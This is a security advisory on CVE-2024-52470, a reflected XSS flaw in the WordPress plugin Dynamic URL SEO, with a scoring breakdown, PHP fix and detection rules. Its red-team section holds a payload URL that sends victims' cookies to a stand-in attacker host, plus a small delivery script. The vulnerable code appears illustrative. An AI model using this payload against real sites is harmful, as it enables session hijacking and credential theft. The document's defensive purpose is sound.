CVE-2024-52470

Executive Summary

CVE-2024-52470 is a reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Dynamic URL SEO by brainvireinfo, affecting all versions up to and including 1.0. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. This can lead to session hijacking, credential theft, or defacement within the context of the victim's browser session. The CVSS score is 7.1 (High), and no public exploit or patch is currently available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant for unpatched WordPress installations.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to verify the integrity of their plugin files and monitor for updates from the vendor. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 7.1 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must click a crafted link
• Scope: Changed (S:C) – injected script can affect other resources
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: High. Although user interaction is required, the low complexity and network-based attack vector make this a viable phishing or social engineering vector.

Deep Dive & Mechanics

The vulnerability exists in the dynamic-url-seo plugin's handling of URL parameters. The plugin fails to sanitize or escape user-supplied input before reflecting it in the HTML response. An attacker can craft a malicious URL containing JavaScript payloads, such as:

http://target-site.com/?<script>alert('XSS')</script>

When a victim visits this URL, the injected script executes in their browser context, allowing the attacker to steal cookies, redirect to malicious sites, or perform actions on behalf of the victim.

Root Cause: The plugin uses echo $_GET['param'] or similar unsanitized output without applying WordPress's built-in escaping functions like esc_html() or esc_attr().

Vulnerable vs. Patched Code

Vulnerable Code (dynamic-url-seo.php, line ~45):

<?php
$param = $_GET['url'];
echo "<div class='dynamic-url'>" . $param . "</div>";
?>

Patched Code (hypothetical fix):

<?php
$param = isset($_GET['url']) ? esc_html($_GET['url']) : '';
echo "<div class='dynamic-url'>" . $param . "</div>";
?>

The patched version uses esc_html() to neutralize HTML special characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Attack Simulation)

1. Setup: Deploy a vulnerable WordPress instance with Dynamic URL SEO v1.0.
2. Craft Payload: Create a URL with a reflected XSS payload:

   http://victim-site.com/?url=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

3. Deliver: Send the link via phishing email or social media.
4. Execute: When the victim clicks, the script executes, exfiltrating cookies to the attacker's server.

Example Exploit (Python):

import requests

target = "http://victim-site.com/"
payload = "<script>alert('XSS')</script>"
url = target + "?url=" + payload
response = requests.get(url)
print("Payload delivered. Check victim browser.")

Blue Team (Defense & Detection)

1. Monitor Logs: Look for unusual URL parameters containing <script>, onerror, or javascript:.
2. WAF Rules: Deploy a Web Application Firewall rule to block reflected XSS patterns.
3. User Training: Educate users not to click suspicious links.
4. Plugin Update: Remove or disable the vulnerable plugin until a patch is available.

Indicators of Compromise (IOCs)

• Network IOCs:
  • URLs containing ?url=<script> or similar XSS patterns.
  • Outbound connections to attacker-controlled domains from victim browsers.
• File IOCs:
  • Plugin file: wp-content/plugins/dynamic-url-seo/dynamic-url-seo.php (version <= 1.0)
• Log IOCs:
  • HTTP requests with url parameter containing HTML/JavaScript tags.
  • Referer headers from phishing emails.

Detection Engineering

YARA Rule

rule CVE_2024_52470_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts against Dynamic URL SEO plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-52470"
    strings:
        $xss_payload = /[?&]url=.*<script[^>]*>.*<\/script>/i
        $xss_event = /[?&]url=.*on\w+\s*=/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt Against Dynamic URL SEO Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts targeting CVE-2024-52470
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '?url='
        cs-uri-query|re: '(<script|on\w+=|javascript:)'
    condition: selection
falsepositives:
    - Legitimate use of URL parameters with similar patterns (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-52470 Reflected XSS Attempt"; flow:to_server; content:"?url="; http_uri; pcre:"/(<script|on\w+=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the Dynamic URL SEO plugin until a patch is released.
2. Vendor Contact: Reach out to brainvireinfo for an official fix.
3. Workaround: Implement a WAF rule to block requests containing ?url= with script tags.
4. Long-term: Apply WordPress security best practices, including input validation and output escaping.
5. Monitor: Continuously check for plugin updates and apply them promptly.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert